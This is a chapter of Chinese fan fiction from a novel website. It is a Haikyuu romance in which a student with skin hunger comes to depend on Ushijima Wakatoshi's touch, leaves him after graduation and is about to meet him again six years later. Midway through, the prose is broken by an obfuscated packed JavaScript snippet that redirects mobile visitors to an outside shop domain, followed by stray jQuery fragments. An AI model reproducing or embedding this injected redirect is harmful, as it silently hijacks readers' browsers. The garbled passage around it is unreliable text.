文趣网 > 其他小说 > 排乙:恋爱这件小事 > 1. 牛岛若利
    重要提醒!:皮肤饥渴症,微虐,一点点p友文学但纯爱?ooc致歉

    ***

    高二春天,你作为转学生走进白鸟泽学园教室时,指尖已经在微微发抖。

    陌生环境、密集人群、无数道好奇的视线——这些对你而言都是触发病症的导火索。

    你低着头走向老师指定的座位,在靠窗那排倒数第二个位置坐下,余光瞥见身旁的人。

    牛岛若利。

    你当然知道这个名字,白鸟泽的王牌,全国闻名的左撇子重炮手。

    此刻他正专注地看着窗外,侧脸线条硬朗,脊背挺得笔直,像一尊不会动摇的山。

    就在这时,牛岛若利转过了头。

    他没有笑,只是平静地看着你,四目相对的瞬间,你奇怪地平静了下来。

    “请多指教。”你下意识说。

    他点了点头。

    整节课,你都能感觉到他存在感极强的侧影,他听课很认真,笔记做得一丝不苟,翻书时几乎没有声音。而你,终于能够正常呼吸。

    ***

    第一次真正的触碰发生在体育课。

    白鸟泽的体育馆很大,几个班级同时上课,人群密集,你在更衣室换上运动服时已经感到不适,拥挤的隔间,别人擦肩而过时带来的气流。

    课上是排球基础练习,你本来就对球类运动苦手,再加上周围此起彼伏的喊声和球鞋摩擦地板的刺耳声,恐慌像潮水一样漫上来。

    发球练习时,你连续三次把球打飞,第四次,球弹了回来,你下意识后退,撞到了身后的人。

    “对、对不起——”

    对方是个高大的男生,笑着摆摆手:“没事没事!不过你站的位置有点危险哦。”

    他的手很自然地拍了下你的肩膀。

    那一瞬间,你浑身僵直。

    皮肤下的神经末梢像被点燃,恶心感从胃部翻涌而上,你转身想逃离,却被更多人流裹挟——男生们正在交换场地。

    呼吸开始困难,视野边缘发黑,你伸手想抓住什么,却只抓到空气。

    就在这时,一只宽大的手握住了你的手腕。

    力道很稳,掌心温热。

    “走这边。”

    牛岛若利的声音在你头顶响起,他没有询问,没有安慰,只是拉着你,人流像是被切开,自动让出一条路。

    他带你走到场馆西侧的应急出口,那里几乎没有人,松开手时,你的手腕上留下他手指的印痕,微微发红。

    “在这里等。”他说,“下课前我会过来。”

    然后他转身回到球场,离开前,又看了你一眼,确认你站稳了。

    你靠在墙上,慢慢滑坐到地板上,手腕上似乎还残留着他触碰时的温度。

    原来,不是所有人的触碰都会让你恶心。

    ***

    第二天午休,你趴在桌上试图入睡,却因为焦虑而辗转反侧,指尖又开始发麻,你咬住下唇,强迫自己静止。

    忽然,左肩传来温热的重量。

    你睁开眼睛,发现牛岛若利不知何时朝你的方向靠近一点,右手放在桌上,他依然在看手里的体育杂志,表情专注,仿佛这个靠近只是无意识的调整。

    你犹豫了三秒,然后轻轻把头靠了过去。

    他的手臂比看起来更结实,校服布料有干净的无花果香,最关键的是——触碰带来的不是恶心,而是安宁。

    你睡着了,那是转学以来,第一次真正意义上的深度睡眠。

    醒来时,午休结束的预备铃正好响起,你抬起头,发现牛岛维持着完全相同的姿势,连杂志翻到的页码都和你睡前一样。

    “抱歉……”你小声说。

    “没事。”他合上杂志,活动了一下肩膀。

    ***

    你渐渐发现,你对他的触碰产生了依赖。

    不,不止是依赖,或许是上瘾。

    你会在听课时无意识玩他校服袖口的纽扣,他会停顿一秒,然后继续记笔记,甚至有一次,你因为数学题烦躁,手指无意识地开始抓挠自己的手臂,他直接握住你的手腕,把一支笔塞进你手里。

    “先把思路写下来。”他说,“比乱想有用。”

    他的手很大,完全包裹住你的手腕,热度透过皮肤传来,那一整天,你做题时都会无意识地摩挲那只手腕。

    牛岛若利在班上并不孤僻,但众所周知他不喜无意义的肢体接触——握手会很快松开,拍肩会微微侧身,拥挤时会主动拉开距离。

    但对你,他破例了。

    同学们从窃窃私语到习以为常,天童觉曾撑着下巴观察你们很久,最后笑着说:“若利有了专属挂件呢。”牛岛没有反驳,只是继续解他的题。

    ***

    某天早晨天气晴朗,你就把伞放在了宿舍,下午放学时却突然暴雨倾盆,教学楼门口挤满了“同病相怜”的人。

    人挤人的环境让你开始不适,你缩在角落,盯着自己的鞋尖,试图用数呼吸来平复心跳。

    “没带伞?”

    你抬头,牛岛站在面前,手里拿着一把深蓝色的长柄伞。

    “嗯……”你小声回答。

    他把伞递给你:“用这个。”

    “那你呢?”

    “我跑回去,宿舍不远。”

    从教学楼到男生宿舍要穿过整个操场,在这样的大雨中跑回去,一定会浑身湿透。

    “一起撑吧。”你鼓起勇气说,“伞很大。”

    他看了看伞,又看了看门外密实的雨幕,点了点头。

    伞下空间有限,你们不可避免地肩膀相贴,雨水敲打伞面的声音隔绝了周围的嘈杂,世界缩小到这个小小的空间里。

    你偷偷侧头看他——他目视前方,表情平静,也许对他来说,这只是一个普通的雨天,一次普通的同行。

    送到女生宿舍楼下,你说:“谢谢。”

    “嗯。”他点头,“明天见。”

    你看着他转身走入雨中,渐行渐远。

    ***

    家政课,你切水果时不小心划伤了食指,伤口不深,但血珠不断渗出来,你盯着那道伤口,突然感到一阵眩晕。

    牛岛在旁边,看了一眼你的手指,然后直接从书包里拿出一个小包装,抽出创可贴。

    “伸手。”他说。

    你伸出手,他握住你的手腕,然后用另一只手撕开创可贴包装,贴在伤口上。

    整个过程不超过十秒。

    贴好后,他没有立刻松开,而是用拇指轻轻按压创可贴边缘,确认贴牢了,他的指尖温热,按压的力道恰到好处。

    “好了。”他说。

    你看着自己被妥善处理的手指,眼泪突然掉了下来。

    不是因为疼,而是因为——从来没有人这样对待过你。

    你的父母因为工作常年在外,他们知道你的“怪病”,却只会说“克服一下”,以前的同学要么嘲笑,要么远离,他们像躲避瘟疫一样躲避你,或者像对待易碎品一样小心翼翼。

    只有牛岛若利,用最平常的态度,做了最不平常的事。

    他没有问“你还好吗”,没有说“小心点”,只是解决了问题,然后继续他的日常。

    但这种“平常”,对你而言是莫大的温柔。

    ***

    高三的冬天,你已经开始害怕毕业。

    不是害怕升学考试,不是害怕未来,而是害怕失去你的“安全区”。

    午休时,你枕着他的手臂,小声问:“牛岛同学,毕业后……你会去打职业排球吗?”

    “嗯。”他回答,“已经收到邀请了。”

    “要去哪里?”

    “先在国内联赛。”

    “很远吗?”

    “看球队所在地。”

    “毕业后……”你鼓起所有勇气,“我们还能见面吗?”

    他思考了一会儿,你能感觉到他肩膀肌肉微微绷紧——他认真思考时的反应。

    “如果有需要见面的理由。”他最终回答。

    你的心沉了一下。

    “那如果……”你声音更小了,“如果我想见你呢?不需要特别的理由,就是想见你……”

    这次他思考得更久。

    然后,你听见他用那种一贯的坦诚到残酷的语气说:

    “我不太理解‘想见面’这种情绪。”

    你只听到那句话,在脑海里一遍遍回响。

    不理解想见面这种情绪。

    所以,那些触碰,那些默许,对你而言是特别的依赖,对他而言,只是“没有理由拒绝”?

    因为他天生不擅长拒绝?

    还是因为你恰好是需要帮助的同桌?

    你慢慢坐直身体,离开了他的手臂。

    “怎么了?”他问,似乎终于察觉到了异常。

    “没什么。”你听见自己说,声音平静,“不困了。”

    那天之后,你开始刻意保持距离。

    不再碰他的袖口,午休时面向另一边趴着,递东西时确保不会碰到,起初他好像没注意到,但一周后,他在你又一次快速缩回手时,忽然开口:

    “你在生气?”

    “没有。”

    “那为什么——”

    “牛岛同学。”你打断他,第一次直视他的眼睛,“毕业后,我不会联系你。”

    他愣住了,深褐色的眼睛里第一次出现了一种可以称之为“困惑”的情绪。

    “为什么?”他问。

    “因为你不需要。”你说,“我也不需要了。”

    这是谎言。

    你比任何时候都需要他的触碰,毕业前的最后一个月,你的皮肤饥渴症发作得越来越频繁,有时在课堂上都会无意识地发抖,你只能用力掐自己的大腿,用疼痛来掩盖那种从骨髓深处泛起的渴望。

    但你不能再依赖他了。

    因为依赖一个“不理解想见面这种情绪”的人,结局注定是误解。

    ***

    毕业典礼那天,白鸟泽的樱花道上挤满了合影留念的学生。

    你穿着制服,手里拿着毕业证书,在人群中寻找牛岛的身影,你知道不应该,但还是想最后看他一眼。

    然后你看见了。

    他正被排球部的队友们围着,天童勾着他的肩膀,濑见在说什么笑话,大家都在笑,牛岛虽然表情依旧平静,但你能看出来——那是放松的姿态。

    他没有在找你,他甚至可能,根本没有想过要找你。

    你转身,朝反方向走去,泪水模糊了视线,但你走得很稳,一次都没有回头。

    在校门口,你删除了手机里所有关于他的联系方式——虽然本来就不多。

    毕业典礼结束后,牛岛在教室里等了一个小时。

    他坐在你们曾经同桌的位置上,看着窗外樱花道,直到天色渐暗。

    天童来找他时,他问:“她呢?”

    “谁?啊,转学生酱吗?好像早就走了哦。”

    “……为什么?”

    “什么为什么?毕业了大家各奔东西嘛。”

    牛岛沉默了,他低头,看着自己的右手——那只手曾经无数次被你无意识地触碰,被你枕着入睡,被你依赖。

    他握了握拳,又松开。

    “若利,”天童难得用正经的语气问,“你……会想她吗?”

    牛岛思考了一会儿,然后轻声说:

    “我不知道。”

    ***

    离开白鸟泽的那个夏天,你切断了与宫城有关的一切。

    新手机号,新邮箱,连社交账号都注销重开,大学在关西,距离宫城四百公里,选了心理学专业,天真地以为了解病症就能战胜它。

    开学第一天你就发现错了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795374|210507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阶梯教室里坐满陌生的面孔,有人不小心碰到你的手臂,你咬牙抑制住从座位上弹起来的想法。

    那天晚上,你在宿舍床上蜷缩成一团,抱着棉被——它不够柔软,不够温暖,最重要的是,它没有心跳。

    你开始失眠。

    大一下学期,你第一次尝试“治疗”。

    心理咨询室的老师很温柔,建议你试试系统脱敏疗法,从想象触碰开始,到隔着布料触碰,再到直接皮肤接触。

    你努力了三个月。

    第一次和一个学姐握手时,你吐了。

    治疗终止了。

    手机震动,是母亲发来的信息:“最近怎么样?药按时吃了吗?”

    你盯着那条信息,很久很久,回复:

    “很好,不用担心。”

    撒谎。

    药早就停了,因为副作用让你整天昏昏沉沉,你宁愿清醒地痛苦,也不想麻木地活着。

    你打开笔记本电脑,在搜索栏输入“皮肤饥渴症治疗”。

    搜索结果千篇一律:心理治疗、药物治疗、伴侣支持……

    伴侣。

    你的手指停在触摸板上。

    然后,你做了件蠢事——在搜索栏输入了“牛岛若利”。

    第一条新闻就跳了出来:

    “新生代王牌!牛岛若利入选日本男子排球国家代表队”

    配图是他穿着国家队队服的照片,他看起来更高了,肩膀更宽,眼神依然平静坚定,记者形容他“像一座沉默的山,在球场上给予对手压倒性的压力”。

    你关掉网页,把脸埋进膝盖里。

    那天晚上你梦见了他,梦里的你们还在白鸟泽的教室,你枕着他的肩膀,窗外樱花盛开,你问他:“牛岛同学,你会一直让我这样靠着吗?”

    他转过头,深褐色的眼睛看着你,说:“嗯。”

    然后你醒了。

    你转了专业,毕业前夕,收到了东京一家运动杂志社的录用通知。

    ***

    六年里,牛岛若利的生活轨迹非常清晰。

    训练,比赛,休息,再训练。

    他很快适应了职业排球的节奏,天赋加上自律,让他在排球的世界有一席之地。

    但有些东西变了。

    不是技术,不是体能,而是某些细微的习惯。

    训练结束后,他会不自觉地看向休息区的某个空座位——高中时,你总在那里等他,手里拿着水和毛巾。

    比赛前热身时,他会用左手轻轻按压自己的右肩——那里曾经承担过另一个人的重量,现在空荡荡的。

    某次聚餐,天童歪着头看他,“你还是老样子啊,不对,好像变了点。”

    “哪里?”

    “说不上来。”天童难得露出认真的表情。

    “就是感觉……你这里,”他指了指自己的胸口,“缺了块东西。”

    牛岛没有回答,他低头吃了一口芥末巧克力。

    ***

    牛岛若利不是会沉溺于过去的人。

    他的世界很简单:球网这边,球网那边;能得分,不能得分;赢,输。

    感情是灰色地带,他不擅长。

    但有些事,即使不擅长,也在发生。

    他会定期查看line,虽然明知不会有新消息,会在下雨天,想起那把深蓝色的伞。

    某次在巴黎打邀请赛时,他在一家纪念品店看到一个猫咪形状的暖手宝,店员热情介绍:“这个可以充电加热,冬天抱着很舒服哦!”

    他盯着那个暖手宝看了很久。

    “若利,你要买这个?”天童凑过来,表情古怪,“这不像你的风格。”

    牛岛拿起暖手宝,按了按,猫咪的脸颊亮起温暖的光。

    “她,冬天手很凉。”

    天童愣了一下,随即明白过来:“转学生酱?”

    “嗯。”

    “你还在找她?”

    “嗯。”

    “找到了吗?”

    “没有。”牛岛放下暖手宝,“只知道她去了关西,换了专业。”

    “然后呢?找到了要做什么?”

    他说:

    “不知道。”

    “但应该找到。”

    六年里,牛岛若利通过所有能想到的途径寻找你。

    问过白鸟泽的班主任,班主任只知道你考去了关西的大学,具体哪所不清楚。

    问过班上几个还有联系的同学,大家都摇头:“毕业后就没消息了。”

    他甚至托人在教育系统查过,但因为隐私保护,只能查到大学所在府县,查不到具体学校和专业。

    天童劝过他:“若利,也许她不想被找到。”

    牛岛点头:“可能。”

    但他还是在找。

    就像他练习扣球,一次不成功,就十次,十次不成功,就一百次,直到球精准地砸在对方场地的边界线上,发出满意的响声。

    寻找你也成了某种“练习”,虽然他不知道找到之后要做什么,虽然他不理解自己为什么要找。

    只是觉得,应该找到。

    就像日出应该升起,排球应该过网,左手应该扣球。

    第六年春天,牛岛结束海外赛季回国。

    ***

    此时此刻,你正坐在东京的公寓里,对着笔记本电脑写稿。

    你负责的专栏叫“运动员的内心世界”,这期要采访几位新生代选手,主编把名单发过来时,你正在喝咖啡。

    然后你看见了那个名字。

    牛岛若利。

    你盯着屏幕,呼吸停滞。

    六年。四百公里。无数次发誓要忘记。

    然后他就这样,猝不及防地,重新出现在你的世界里。

    手机震动,是主编的信息:

    “牛岛选手的采访安排在周五下午三点,没问题吧?”